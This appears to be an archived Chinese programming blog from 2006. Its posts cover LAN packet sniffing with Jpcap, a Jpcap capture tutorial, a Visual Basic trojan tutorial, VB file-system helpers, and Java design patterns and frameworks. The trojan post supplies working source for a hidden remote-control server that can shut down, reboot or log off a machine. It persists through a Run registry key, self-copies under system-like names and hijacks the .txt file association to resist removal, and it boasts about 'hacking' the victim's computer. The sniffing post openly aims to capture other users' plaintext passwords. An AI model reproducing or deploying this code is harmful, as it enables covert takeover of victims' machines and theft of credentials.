2006年07月28日

Internet的飞速发展大大增加了网络的用户规模,但同时网络中的安全问题也日趋严重。维护网络安全的一项重要技术就是网络的实时监控,因此,对于能够分析、诊断、以及测试网络功能与安全性的工具软件的需求也越来越迫切。而网络分析程序依赖一套捕获数据包的库函数,这就是所谓的包捕获软件。目前已有几种类型的包捕获应用软件,例如:基于原始套接字、基于LibPcap库和基于WinPcap库,而Jpcap是Windows和Linux平台中实现的一个跨平台网络数据包处理开发库。本文就是利用Jpcap来实现对用户访问ASP、JSP、PHP、CGI的Web口令与E-Mail口令的捕获。由于国内大多数网站对用户名与密码口令均采用明文传送,因此使用本文方法可以在局域网内捕获用户名与密码。

一、网络嗅探原理
网络嗅探是一种常用的收集网络数据包的方法,其基本原理对经过网卡的数据包进行捕获和解码,从链路层协议开始进行解码分析,一直到应用层的协议,最后获取数据包中需要的内容。

1 局域网的连接方式
局域网的连接设备主要有HUB和交换机。由于以HUB连接的以太网等很多网络是基于总线方式的,所以当一个机器给另一个机器发送数据时,HUB会将要传送的数据包发送至本网段内的所有主机。这种以广播方式发送数据包的形式使得任何网络接收设备都可以接收到所有正在传送的通讯数据,不过通常情况下主机只将判断为应该接收的数据包传给上层应用程序处理。所以在共享HUB情况下同一网段的所有机器的网卡都能接收到数据。

而交换机能记住每个端口的MAC地址,该哪个机器接收就发往哪个端口,而不是像HUB那样发给所有的端口,所以交换机环境下只有该接收数据的机器的网卡能接收到数据。HUB的工作模式使得共享决定了同一网段同一时间只能有两个机器进行数据通信,而交换机在两个机器传输数据的时候其它端口没有占用,所以其它端口之间也可以同时传输。这就是HUB与交换机不同的两个地方,HUB是同一时间只能有一个机器发送数据并且所有机器都可以接收,只要不是广播数据,交换机同一时间可以有一对机器进行数据传输并且数据是私有的。

2 网卡工作模式
在实际的系统中,数据的收发由网卡来完成,网卡的主要工作原理是整理计算机发往网线上的数据,并将数据包发送出去。当网卡接收到传输来的数据时,根据接收数据帧的目的MAC地址和网卡驱动程序设置的接收模式进行判断,对需要接收的就产生中断信号送CPU,然后由操作系统调用驱动程序进行接收;认为不该接收的就丢弃不管,所以不该接收的数据在网卡处就截断了。对于网卡来说一般有四种接收模式:

(1)广播方式(Broadcast):能够接收网络中的广播信息。

(2)组播方式(Multicast):网卡能够接收组播数据,也就是一个人发出的包可以同时被其他多个有资格的人接收,这些人就形成了一个组,他们在组内的通信是广播式的。

(3)直接方式(Directory):只有目的网卡才能接收该数据。

(4)混杂模式(Promiscuous):能够接收一切通过网卡的数据。

网卡的缺省工作模式包含广播模式和直接模式,即它只接收广播帧和发给自己的帧,而网络数据包捕获程序一般采用第4种模式。

3 数据包截获机制
网络数据包截获机制一般指通过截获整个网络的所有信息流量,根据信息源主机,目标主机,服务协议断口等信息简单过滤掉不关心的数据,再将用户感兴趣的数据发送给更高层的应用程序进行分析。

在局域网中,由于以太网是基于广播方式传送数据的,以太网上的所有主机都共享一条网络总线,所以所有的物理信号都会被传送到每一个主机节点,如果将网卡设置为混杂接受模式,则无论监听到的数据帧目的地址如何,网卡都能予以接收。而TCP/IP协议簇中的应用层协议大多数都是以明文形式在网络上传输,这些明文数据往往包含一些敏感数据,如密码、账号等,因此使用监听程序软件可以监听到所有局域网内的数据通信,得到这些敏感信息。当然,其局限性是只能在局域网的共享冲突域中进行。

嗅探器作为一种网络通讯程序,主要是通过对网卡的编程来实现的,对网卡的编程有很多种方法,通常的套接字程序只能响应与自己硬件地址相匹配的或是以广播方式发出的数据帧,对于其他形式的数据帧,网络接口在验证目的地址并非自身地址之后将不引起响应,也就是说应用程序无法接收到达的数据包。而网络嗅探器的目的恰恰在于从网卡接收所有经过它的数据包,这些数据包既可以是发给自己的也可以是发给别人的。显然,要达到此目的就不能让网卡按通常的正常模式工作,而必须将其设置为混杂模式。嗅探程序的设计一般有如下几个阶段:

(1)包捕获设置:包括网络适配器的识别和网卡混杂模式的设置;

(2)过滤器设置:对数据包的捕获设定一些条件,如可以按某些特定的IP地址进行过滤,也可根据网络协议只捕获某种特定的协议,如TCP或UDP包中的数据,还可以过滤出包含特定信息的数据包,例如包含用户名和密码信息的数据包;

(3)数据分析:对捕获的数据进行分析处理,获得数据包中的上层信息。

2006年07月27日

Description
Jpcap is a Java class package that allows Java applications to capture and/or send packets to the network.

Jpcap is based on libpcap/winpcap and Raw Socket API. Therefore, Jpcap is supposed to work on any OS on which libpcap/winpcap has been implemented. Currently, Jpcap has been tested on FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP.

Jpcap supports the following types of packets: Ethernet, IPv4, IPv6, ARP/RARP, TCP, UDP, and ICMPv4. Other types of packets are captured as raw packets (i.e., instances of the Packet class) which contains the whole data of the packets. This allows Java applications to analyze unsupported packet types.

What’s New
4/22/06 Jpcap ver.0.5.1 is released. This contains several bug fixes. See ChangeLog in detail.
1/6/06 Jpcap ver.0.5 is released under LGPL.
4/9/03 Bug fix on Jpcap.openFile() and JpcapWriter.
4/1/03 New homepage. Jpcap ver.0.4 was released.
9/14/00 Jpcap ver.0.3 is released ARP/RARP supported.Many important bug fix.
7/29/00 Jpcap ver.0.2 is released. Now MS Windows are supported.

Installation
< Windows 9x, NT, 2000, xp >
1.Download and install Javatm2 Platform, Standard Edition (J2SEtm) JRE or JDK.
2.Download and install the latest WinPcap.
3.Download and run Self Installer.
4.Follow the instruction of the installer.
If you do not want to use the installer, you can also install manually.
1.Download and extract the Jpcap source code from the Download page.
2.Copy "lib\Jpcap.dll" into "[JRE directory]\bin" or "[JRE directory]\lib\ext\x86"
3.Copy "lib\jpcap.jar" into "[JRE directory]\lib\ext"
4.If you installed JDK, you also need to copy "lib\jpcap.jar" into "[JDK directory]\jre\lib\ext".
   Note: [JRE directory] is usually "C:\Program Files\Java\j2re*".
   [JDK directory] is usually "C:\Program Files\Java\jdk*".

< UNIX >
1.Download and install Javatm2 Platform, Standard Edition (J2SEtm) JRE or JDK
2.Download and install libpcap if not installed.
   Note: Jpcap ver.0.5 requres libpcap 0.9.4 or later.
3.Download and extract the latest Jpcap
4.Go to "src/c" directory, and edit Makefile 
5.Run "make".
   If you get an error "structure has no member named `sa_len’",
   comment out the line "#define HAVE_SA_LEN" in Jpcap_sub.h.
6.Copy libjpcap.so to [Java directory]/jre/lib/<arch>. <arch> is either "i386" or "sparc"
7.Copy "lib/jpcap.jar" into [Java directory]/jre/lib/ext.

Download

 

Self Installer

Source code

Jpcap ver.0.5.1

Installer for Windows

jpcap-0.5.1.zip

Jpcap ver.0.5

 

jpcap-0.5.zip

Jpcap ver.0.4

 

jpcap-0.4.zip

Jpcap ver.0.3

 

jpcap-0.3.zip

原文:

Capturing low-level network data can be hard in Java, but it’s certainly not impossible

If you want to capture network packets in your Java program, you’ll need a little help because no parts of the core Java APIAPIAPIAPI give access to low-level network data. However, Jpcap is a Java API that provides you with this access on Windows or Unix systems. Jpcap isn’t a pure Java solution; it depends on the use of native libraries. On either Windows or Unix, you must have the required third-party library, WinPcap or libpcap, respectively.

How Jpcap works

Jpcap uses an event model to allow you to process packets. To get started, you must first create a class that implements the interface jpcap.JpcapHandler.

public class JpcapTip implements JpcapHandler {
public void handlePacket(Packet packet){
System.out.println(packet);
}
}

In order to capture packets, you need to tell Jpcap which network device you want to listen with. The API provides the jpcap.Jpcap.getDeviceList() method for this purpose. The method returns an array of strings, and you use it like this:

String[] devices = Jpcap.getDeviceList();

Once you have a list of device names, you must choose one for listening:

String deviceName = devices[0];

After choosing a device, you open it for listening by using the method Jpcap.openDevice(). The openDevice() method requires four arguments: the device name to be opened, the maximum number of bytes to read from the device at one time, a Boolean value specifying whether to put the device into promiscuous mode, and a timeout value that will be used if you later call the processPacket() method.

Jpcap jpcap = Jpcap.openDevice(deviceName, 1028, false, 10000);

The openDevice() method returns a reference to a Jpcap object that will be used for capturing. Now that you have the Jpcap instance, you can start listening by calling either processPacket() or loopPacket(). Both of the methods take two arguments: The maximum number of packets to capture can be -1 to indicate no limit and an instance of a class that implements JpcapHandler.

If you call processPacket(), then Jpcap will capture packets until either the timeout specified in openDevice is exceeded or the maximum number of packets specified has been reached. loopPacket() will capture packets until the maximum number of packets is reached or forever, if there is no maximum. The call looks like this:

jpcap.loopPacket(-1, new JpcapTip());

Here’s the code for the entire test class:

import jpcap.JpcapHandler;
import jpcap.Jpcap;
import jpcap.Packet;

public class JpcapTip implements JpcapHandler {
public void handlePacket(Packet packet){
System.out.println(packet);
}

public static void main(String[] args) throws java.io.IOException{
String[] devices = Jpcap.getDeviceList();

for (int i = 0; i < devices.length; i++) {
System.out.println(devices[i]);
}

String deviceName = devices[0];

Jpcap jpcap = Jpcap.openDevice(deviceName, 1028, false, 1); jpcap.loopPacket(-1, new JpcapTip()); } }

To execute the class, you must make sure that the virtual machine can find the Jpcap native library. On Windows, if the jpcap.dll is in the lib directory, the Java command looks like this:

java -Djava.library.path=lib -cp lib\jpcap.jar;. JpcapTip

The output of executing the test class looks like this (it’s shortened for space purposes):

ARP REQUEST 00:06:5b:01:b2:4d(192.168.15.79)     00:00:00:00:00:00(192.168.15.34)ARP REQUEST 00:06:5b:01:b2:4d(192.168.15.79)     00:00:00:00:00:00(192.168.15.34)1052251329:525479 192.168.15.103->255.255.255.255 protocol(17) priority(0)  hop(offset(0) ident(59244) UDP 1211      1211...

Capturing packets in Java isn’t a pure Java endeavour but, since it’s possible, it’s nice to know the functionality exists.

翻译:

如果你想捕获Java程序中的网络包,那么你需要一些辅助工具,因为核心Java API不能访问底层的网络数据。但Jpcap是一种提供在Windows或UNIX系统上进行这种访问的Java API。

Jpcap不是一种纯粹的Java解决方案;它依赖本地库的使用。在Windows 或 UNIX上,你必须有必要的第三方库,分别是WinPcap或libpcap。

Jpcap的工作原理

Jpcap使用一个事件模型来让你处理包。首先你必须创建一个执行接口jpcap.JpcapHandler的类。

public class JpcapTip implements JpcapHandler {
      public void handlePacket(Packet packet){
          System.out.println(packet);
    }
}

为了捕获包,你需要告诉Jpcap你想用哪个网络设备来监听。API提供了jpcap.Jpcap.getDeviceList()方法以满足这一目的。这个方法返回一列字符串,你可以象如下使用它:

String[] devices = Jpcap.getDeviceList();

 一旦你有了一个设备名称的目录,你必须选取一个用来监听:

String deviceName = devices[0];

 选择一个设备之后,通过Jpcap.openDevice()方法打开它。openDevice()方法需要四个参数:即将打开的设备名,从设备上一次读取的最大字节数,说明是否将设备设为混杂模式的Boolean值,和以后调用processPacket()方法要使用到的超时值。

Jpcapjpcap = Jpcap.openDevice(deviceName, 1028, false, 10000);

 openDevice()方法将一个参数返回到用以捕获的Jpcap对象。既然有了Jpcap实例,你可以调用processPacket() 或loopPacket()开始监听了。这两种方式都带有两个参数:捕获的最大包数可以是-1(说明没有限制);执行JpcapHandler的一个类的实例。

 如果你调用processPacket(),那么Jpcap将一直捕获包,直到超过openDevice中规定的时限或达到了规定的最大包数。loopPacket()则将一直捕获包,直到达到最大包数,如果没有最大数限制,它将永远运行下去。就像下面这样调用:

jpcap.loopPacket(-1, new JpcapTip());

下面则是全部测试类的代码:

import jpcap.JpcapHandler;
import jpcap.Jpcap;
import jpcap.Packet;

public class JpcapTip implements JpcapHandler {
      public void handlePacket(Packet packet){
          System.out.println(packet);
      }

      public static void main(String[] args) throws java.io.IOException{
          String[] devices = Jpcap.getDeviceList();
        for (inti = 0; i < devices.length; i++) {
            System.out.println(devices[i]);
          }
          String deviceName = devices[0];
          Jpcapjpcap = Jpcap.openDevice(deviceName, 1028, false, 1);
          jpcap.loopPacket(-1, new JpcapTip());
     }
}

 为了执行这个类,你必须确保虚拟机可以找到Jpcap的本地库。在Window上,如果jpcap.dll在库地址目录中,Java命令如下:

java -Djava.library.path=lib -cp lib\jpcap.jar;. JpcapTip

 执行测试类的输出则如下(出于篇幅考虑进行了缩减):

ARP REQUEST 00:06:5b:01:b2:4d(192.168.15.79)    
 00:00:00:00:00:00(192.168.15.34)
ARP REQUEST 00:06:5b:01:b2:4d(192.168.15.79)    
 00:00:00:00:00:00(192.168.15.34)
1052251329:525479 192.168.15.103->255.255.255.255 protocol(17) priority(0) 
hop(
offset(0) ident(59244) UDP 1211      1211

 捕获Java中的包并不是一种完美的Java应用,但是,在可能的情况下,最好还是了解其现有的功能。

2006年06月30日

相信大家或多或少都听说过木马这个东西,可能它的危力也有过不少人领教过:在后台记录你的键盘输入,截取你的密码;从你的机子中神密地偷走你的重要资料;甚至格掉你的硬盘……那这些厉害的家伙它们是如果工作的呢?下面我就给大家一起来聊聊它们的工作原理。
其它这些家伙已经并不是十分高明的技术了,它们不外乎也就是基于TCP/IP协议的客户端/服务端程序。工作原理也和普通的客户端/服务端软件一样,只不过它们隐藏得比较好,不容易发现而已。首先对你怀有野心的人利用现成的*作系统或是某些软件本身的漏洞想方设法的把服务端程序加到你的本机上运行,然后通过客户端向你本机中的服务端程序发出一些请求,最后对你本机进行*作,完成他们想要达到的目的。
那这些请求是如何实现的呢?下面我来举一个例子。
首先,新建一工程,名为Server,新建一个窗体,Name为frmServer,在窗体中加入一个winsock控件,Name设为sckServer,协议设为默认的TCP/IP协议。
接下来我们回来frmServer窗体模块中,添加如下代码:
Private Sub form_Load()
   With Me
       .sckServer.LocalPort = 4000‘本地端口
       .sckServer.Listen          ‘开始监听
   End With
End Sub
‘接受客户端的连接请求。
Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)
   With Me
       If .sckServer.State <>sckClosed Then .sckServer.Close
           .sckServer.Accept (requestID)
   End With
End Sub
下面我们来建立客户端程序:新建一个工程,名为Client,把窗体名为frmClient,在上面加入一个winsock控件,名为sckClient,协议为TCP/IP协议。再加一个按钮cmdConnect在窗体模块中加入代码:
Private Sub form_Load()
   With Me
       .sckClient.RemoteHost = "127.0.0.1"‘设置远程IP,本例设为本机。
       .sckClient.RemotePort = 4000          ‘远程端口,就为server中的设置一样.
   End With
End Sub
Private sub cmdConnect_Click()
SckClient.Connect
End sub
至此,单击Connect按钮我们的两个工程已经可以进行通信了,但看不见,你可以在Client中的sckClient_Connect事件中加入代码:debug.print “Connetion successful!”来查看。
这仅是第一步,一点工作也做不了,下面我们来为它们添加功能。为了简单,我们打算实现一点小小的功能―――关机,重启,注销。好,开始吧!
在Server工程中新建一个模块,Name为modApi,这个模快为一些API函数,添加如下API函数:
   Public Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long
Public Type RECT
      Left As Long
       Top As Long
       Right As Long
       Bottom As Long
End Type
注:在两个socket中编程中,进行通信的重要事件是DataArrival事件,用于接收远程数据。
下面在Client工程的frmClient窗体中放入三个按钮,分别为cmdExit,cmdLogoff,cmdReboot。它们用于对远程的关机,注销,重启*作。分别添加如下代码:
Private Sub cmdExit_Click()
   Me.sckClient.SendData "Exit"
End Sub

Private Sub cmdLogoff_Click()
   Me.sckClient.SendData "Logoff"
End Sub

Private Sub cmdReboot_Click()
   Me.sckClient.SendData "Reboot"
End Sub
全都是对服务端发出请求。下面转到Server工程中:在frmServer中添加sckServer的DataArrial事件,接收客户端的请求。
Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)
   Dim strData As String
   With Me
       ‘ 接收客户请求的信息
       .sckServer.GetData strData
       Select Case strData
           Case "Exit"
          ‘关机
           Call ExitWindowsEx(EWX_SHUTDOWN, 0)
           Case "Reboot"
          ‘重启
           Call ExitWindowsEx(EWX_REBOOT, 0)
           Case "Logoff"
          ‘注销
           Call ExitWindowsEx(EWX_LOGOFF, 0)
       End Select
   End With
End Sub
好了,到此我们已经实现功能了,但还不行,我们要它在背后运行。这简单,在frmServer中的form_Load事件中加入一句:me.hide。好这下看不见了,但大家知道木马是一开机就自动运行了,这又是为什么,怎么实现的?把它加入到
注册表的启动组中?对,不错,跟我来吧!
回到Server工程中的modApi中加入如下API函数:
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Const REG_BINARY = 3
Public Const REG_SZ = 1
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_CLASSES_ROOT = &H80000000
写到注册表启动组中的过程。
Public Sub StartupGroup()
   Dim sKey As String
   Dim result As Long
   Dim hKeyID As Long
   Dim sKeyVal As String
  
   sKey = "Systrsy"    ‘启动组中的键,找一个与系统文件相近的。
  sKeyVal = "C:\windows\system\systrsy.exe"   ‘木马文件的路径,可以用GetSystemDirectory来取得系统路径。
   result = RegOpenKey(HKEY_LOCAL_MACHINE, _
       "Software\Microsoft\Windows\CurrentVersion\Run", hKeyID)
   If result = 0 Then
       result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, _
           Len(sKey) + 1) 
   End If
End Sub
好就这样简单地完成了。但是,想过没有,如果不是很菜的鸟,到
注册表中见一删,我们苦苦的心血不就白白地浪费了吗?不行,还得想让他发现了删也删不掉。请看下面的代码:
Public Sub WriteToTxt()
   Dim result As Long
   Dim hKeyID As Long
   Dim skey As String
   Dim skeyVal As String
   skey = "txtfile\shell\open\command"
  skeyVal = "C:\windows\system\txtView.exe"
   result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)
   If result = 0 Then
       result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, _
           skeyVal, Len(skeyVal) + 1)
   End If
End Sub
肯定不少朋友一看就知道了,原是与txt文件进行关联,一点也不错,但C:\windows\system\txtView.exe是哪里来的,我们的木马是C:\windows\system\systrsy.exe呀。这可是我们木马的分身了。
好,回到Server工程的frmServer窗体的form_Load中,加入如下代码:
Dim sCurrentPath As String, sSystemDir As String
       sCurrentPath = App.Path & "\" & App.EXEName & ".exe"
       sSystemDir = “C:\windows\system”
       On Error Resume Next
‘复制文件成系统目录下的Systrsy.exe
       FileCopy sCurrentPath, sSystemDir & "\Systrsy.exe"
       On Error Resume Next
复制文件成系统目录下的txtView.exe
       FileCopy sCurrentPath, sSystemDir & "\txtView.exe"

调用
Call startupGroup
Call WriteToTxt

‘判断程序是否下在运行
       If App.PrevInstance Then
          ‘如果已经运行就退出。
        End
       End If

好了,到现在为止,我们的木马已经像个木马了。快把它编译为EXE文件吧!只要一运行你的程序,不管在哪里,就会把自身复制到系统目录下(还带一个分身),下次开机自己就运行了,这样你就可以把他的电脑给黑掉了。即使对方发现把它给删了,它一旦打开TXT文件,你的木马又复活了,怎么删也删不掉,哈哈!
当然这只是个例子,只有简单的功能,而且里面好多地方也还要作修改,比如隐藏你的进程,修改你木马在系统目录下为隐藏、系统、只读属性等等,就看大家怎么发挥自己的聪明才能了。

防范:
大家可能已经看出来了,也即使是再COOL的木马,你不运行它,就什么事也不会发生,所以,无邪在这里提醒大家,不要去执行陌生的程序。其它任何自启动的程序都会在注册表启动组,程序菜单启动组或是win.ini中的Load下留下足迹,所以也让大家常去那些地方看看。
有误的地方欢迎大家指正。

2006年06月10日

VB基础:认识VB的文件系统对象FSO在 VB 编程中经常需要和文件系统打交道,比如获取硬盘的剩余空间、判断文件夹或文件是否存在等。在VB 推出文件系统对象(File System Object)以前,完成这些功能需要调用 Windows API 函数或者使用一些比较复杂的过程来实现,使编程复杂、可靠性差又容易出错。使用 Windows 提供的的文件系统对象,一切变得简单多了。以下笔者举出一些编程中比较常用的例子,以函数或过程的形式提供给大家,读者可在编程中直接使用,也可以改进后实现更为强大的功能。

  要应用 FSO 对象,须要引用一个名为 Scripting 的类型库,方法是,执行 VB6.0 的菜单项“工程/引用”,添加引用列表框中的“Microsoft Scripting Runtime”一项。然后我们在“对象浏览器”中就可以看到 Scripting 类型库下的众多对象及其方法、属性。

  1、判断光驱的盘符:
  Function GetCDROM() ‘ 返回光驱的盘符(字母)
  Dim Fso As New FileSystemObject ‘创建 FSO 对象的一个实例
  Dim FsoDrive As Drive, FsoDrives As Drives ‘定义驱动器、驱动器集合对象
  Set FsoDrives = Fso.Drives
  For Each FsoDrive In FsoDrives ‘遍历所有可用的驱动器
  If FsoDrive.DriveType = CDRom Then ‘如果驱动器的类型为 CDrom
  GetCDROM = FsoDrive.DriveLetter ‘输出其盘符
  Else
  GetCDROM = ""
  End If
  Next
  Set Fso = Nothing
  Set FsoDrive = Nothing
  Set FsoDrives = Nothing
  End Function

  2、判断文件、文件夹是否存在:
  ‘返回布尔值:True 存在,False 不存在,filername 文件名
  Function FileExist(filename As String)
  Dim Fso As New FileSystemObject
  If Fso.FileExists(filename) = True Then
  FileExist = True
  Else
  FileExist = False
  End If
  Set Fso = Nothing
End Function
  ‘返回布尔值:True 存在,False 不存在,foldername 文件夹
  Function FolderExist(foldername As String)
  Dim Fso As New FileSystemObject
  If Fso.FolderExists(foldername) = True Then
  FolderExist = True
  Else
  FolderExist = False
  End If
  Set Fso = Nothing
  End Function

  3、获取驱动器参数:
  ‘返回磁盘总空间大小(单位:M),Drive = 盘符 A ,C, D …
  Function AllSpace(Drive As String)
  Dim Fso As New FileSystemObject, Drv As Drive
Set Drv = Fso.GetDrive(Drive) ‘得到 Drv 对象的实例
  If Drv.IsReady Then ‘如果该驱动器存在(软驱或光驱里有盘片,硬盘存取正常)
  AllSpace = Format(Drv.TotalSize / (2 ^ 20), "0.00") ‘将字节转换为兆
  Else
  AllSpace = 0
  End If
  Set Fso = Nothing
  Set Drv = Nothing
  End Function
  ‘返回磁盘可用空间大小(单位:M),Drive = 盘符 A ,C, D …
  Function FreeSpace(drive)
  Dim Fso As New FileSystemObject, drv As drive
  Set drv = Fso.GetDrive(drive)
  If drv.IsReady Then
  FreeSpace = Format(drv.FreeSpace / (2 ^ 20), "0.00")
  End If
  Set Fso = Nothing
  Set Drv = Nothing
  End Function
‘获取驱动器文件系统类型,Drive = 盘符 A ,C, D …
  Function FsType(Drive As String)
  Dim Fso As New FileSystemObject, Drv As Drive
  Set Drv = Fso.GetDrive(Drive)
  If Drv.IsReady Then
  FsType = Drv.FileSystem
  Else
  FsType = ""
  End If
  Set Fso = Nothing
  Set Drv = Nothing
  End Function

  4,获取系统文件夹路径:
  ‘返回 Windows 文件夹路径
  Function GetWindir()
  Dim Fso As New FileSystemObject
  GetWindir = Fso.GetSpecialFolder(WindowsFolder)
  Set Fso = Nothing
  End Function
  ‘返回 Windows\System 文件夹路径
  Function GetWinSysdir()
  Dim Fso As New FileSystemObject
  GetWinSysdir = Fso.GetSpecialFolder(SystemFolder)
  Set Fso = Nothing
  End Function
  5,综合运用:一个文件备份通用过程:
  ‘Filename = 文件名,Drive = 驱动器,Folder = 文件夹(一层)
  Sub BackupFile(Filename As String, Drive As String, Folder As String)
  Dim Fso As New FileSystemObject ‘创建 FSO 对象实例
  Dim Dest_path As String, Counter As Long
  Counter = 0
  Do While Counter < 6 ‘如果驱动器没准备好,继续检测。共检测 6 秒
  Counter = Counter + 1
  Call Waitfor(1) ‘间隔 1 秒
If Fso.Drives(Drive).IsReady = True Then
  Exit Do
  End If
  Loop
  If Fso.Drives(Drive).IsReady = False Then ‘6 秒后目标盘仍未准备就绪,退出
  MsgBox " 目标驱动器 " & Drive & " 没有准备好! ", vbCritical
  Exit Sub
  End If
  If Fso.GetDrive(Drive).FreeSpace < Fso.GetFile(Filename).Size Then
  MsgBox "目标驱动器空间太小!", vbCritical ‘目标驱动器空间不够,退出
  Exit Sub
  End If
  If Right(Drive, 1) <> ":" Then
  Drive = Drive & ":"
  End If
  If Left(Folder, 1) <> "\" Then
  Folder = "\" & Folder
  End If
  If Right(Folder, 1) <> "\" Then
  Folder = Folder & "\"
  End If
  Dest_path = Drive & Folder
  If Not Fso.FolderExists(Dest_path) Then ‘如果目标文件夹不存在,创建之
  Fso.CreateFolder Dest_path
  End If
  Fso.CopyFile Filename, Dest_path & Fso.GetFileName(Filename), True
  ‘拷贝,直接覆盖同名文件
  MsgBox " 文件备份完毕。", vbOKOnly
  Set Fso = Nothing
  End Sub
  Private Sub Waitfor(Delay As Single) ‘延时过程,Delay 单位约为 1 秒
  Dim StartTime As Single
  StartTime = Timer
  Do Until (Timer – StartTime) > Delay
  Loop
  End Sub

2006年06月09日

现在软件设计里到处都是模式,框架。有次朋友问什么是模式?我也在学习中,就我的学习经验,给出以下小结。(注意:个人观点,仅供参考,欢迎指正。)

1.什么是模式?
模式,即pattern。其实就是解决某一类问题的方法论。你把解决某类问题的方法总结归纳到理论高度,那就是模式。

Alexander给出的经典定义是:每个模式都描述了一个在我们的环境中不断出现的问题,然后描述了该问题的解决方案的核心。通过这种方式,你可以无数次地使用那些已有的解决方案,无需在重复相同的工作。

模式有不同的领域,建筑领域有建筑模式,软件设计领域也有设计模式。当一个领域逐渐成熟的时候,自然会出现很多模式。

什么是框架?
框架,即framework。其实就是某种应用的半成品,就是一组组件,供你选用完成你自己的系统。简单说就是使用别人搭好的舞台,你来做表演。而且,框架一般是成熟的,不断升级的软件。

2.为什么要用模式?
因为模式是一种指导,在一个良好的指导下,有助于你完成任务,有助于你作出一个优良的设计方案,达到事半功倍的效果。而且会得到解决问题的最佳办法。

为什么要用框架?
因为软件系统发展到今天已经很复杂了,特别是服务器端软件,设计到的知识,内容,问题太多。在某些方面使用别人成熟的框架,就相当于让别人帮你完成一些基础工作,你只需要集中精力完成系统的业务逻辑设计。而且框架一般是成熟,稳健的,他可以处理系统很多细节问题,比如,事物处理,安全性,数据流控制等问题。还有框架一般都经过很多人使用,所以结构很好,所以扩展性也很好,而且它是不断升级的,你可以直接享受别人升级代码带来的好处。
框架一般处在低层应用平台(如J2EE)和高层业务逻辑之间的中间层。

软件为什么要分层?
为了实现“高内聚、低耦合”。把问题划分开来各个解决,易于控制,易于延展,易于分配资源…总之好处很多啦:)。

3.以下所述主要是JAVA,J2EE方面的模式和框架:
常见的设计模式有什么?
首先,你要了解的是GOF的《设计模式–可复用面向对象软件的基础》一书(这个可以说是程序员必备的了),注意:GOF不是一个人,而是指四个人。它的原意是Gangs Of Four,就是“四人帮”,就是指此书的四个作者:Erich Gamma,Richard Helm,Ralph Johnson,John Vlissides。这本书讲了23种主要的模式,包括:抽象工厂、适配器、外观模式等。
还有其他的很多模式,估计有100多种。

软件设计模式太多,就我的理解简单说一下最常见的MVC模式。
MVC模式是1996年由Buschmann提出的:
模型(Model):就是封装数据和所有基于对这些数据的操作。
视图(View):就是封装的是对数据显示,即用户界面。
控制器(Control):就是封装外界作用于模型的操作和对数据流向的控制等。

另外:
RUP(Rational Unified Process)软件统一过程,XP(Extreme Programming)极端编程,这些通常被叫做“过程方法”,是一种软件项目实施过程的方法论,它是针对软件项目的实施过程提出的方法策略。也是另一个角度的模式。

4.常见的JAVA框架有什么?
WAF:
全称:WEB APPLICATION FRAMEWORK
主要应用方面:EJB层,(WEB层也有,但是比较弱)。
主要应用技术:EJB等
出处:http://java.sun.com/blueprints/code/index.html
简述:这是SUN在展示J2EE平台时所用的例子PetStore(宠物商店系统)里面的框架。是SUN蓝皮书例子程序中提出的应用框架。它实现了 MVC和其他良好的设计模式。SUN的网站上有技术资料,最好下载PetStore来研究,WEBLOGIC里自带此系统,源码在bea\weblogic700\samples\server\src\petstore。这是学习了解J2EE的首选框架。
免费。

Struts:
主要应用方面:WEB层。
主要应用技术:JSP,TagLib,JavaBean,XML等
出处:http://jakarta.apache.org/struts/index.html
简述:这是APACHE的开源项目,目前应用很广泛。基于MVC模式,结构很好,基于JSP。Jbuilder8里已经集成了STRUTS1.02的制作。
免费。

简述WAF+STRUTS结合的例子:WEB层用STRUTS,EJB层用WAF:
JSP(TagLib)——>ActionForm——>Action  ——>  Event——>EJBAction——>EJB    ——>DAO——>Database  JSP(TagLib) (forward) <——Action  <——EventResponse<——                

Turbine:
主要应用方面:WEB层。
主要应用技术:servlet等
出处:http://jakarta.apache.org/turbine/index.html
简述:这是APACHE的开源项目。基于SERVLET。据说速度比较快,基于service(pluggable implementation可插拔的执行组件)的方式提供各种服务。
免费。

COCOON:
主要应用方面:WEB层。
主要应用技术:XML,XSP,servlet等
出处:http://cocoon.apache.org/2.0/
简述:这是APACHE的一个开源项目。基于XML,基于XSP(通俗地说,XSP是在XML静态文档中加入Java程序段后形成的动态XML文档。)。特点是可以与多种数据源交互,包括文件系统,数据库,LDAP,XML资源库,网络数据源等。
免费。

ECHO:
主要应用方面:WEB层。
主要应用技术:servlet等
出处:http://www.nextapp.com/products/echo/
简述:nextapp公司的一个开源项目。基于SERVLET。页面可以做的很漂亮,结合echopoint,可以作出很多图形效果(里面用了jfreechart包)。使用SWING的思想来作网页,把HTML当作JAVA的类来做。但是大量使用Session,页面分帧(Frame)很多,系统资源消耗很大。
免费。

JATO:
全称:SUN ONE Application Framework
主要应用方面:WEB层。
主要应用技术:JSP,TagLib,JavaBean等
出处:http://www.sun.com/
简述:这是SUN推出的一个商业性框架,一看名字就知道是结合SUN ONE的平台推出的。我下载了JATO2.0看了一下,感觉有些简单,使用了JSP+TagLib+JavaBean。如他的DOC所说JATO是适合用在小的WEB应用里。
免费。

TCF:
全称:Thin-Client Framework
主要应用方面:JAVA GUI。
主要应用技术:JAVA application等
出处:http://www.alphaworks.ibm.com/tech/tcf
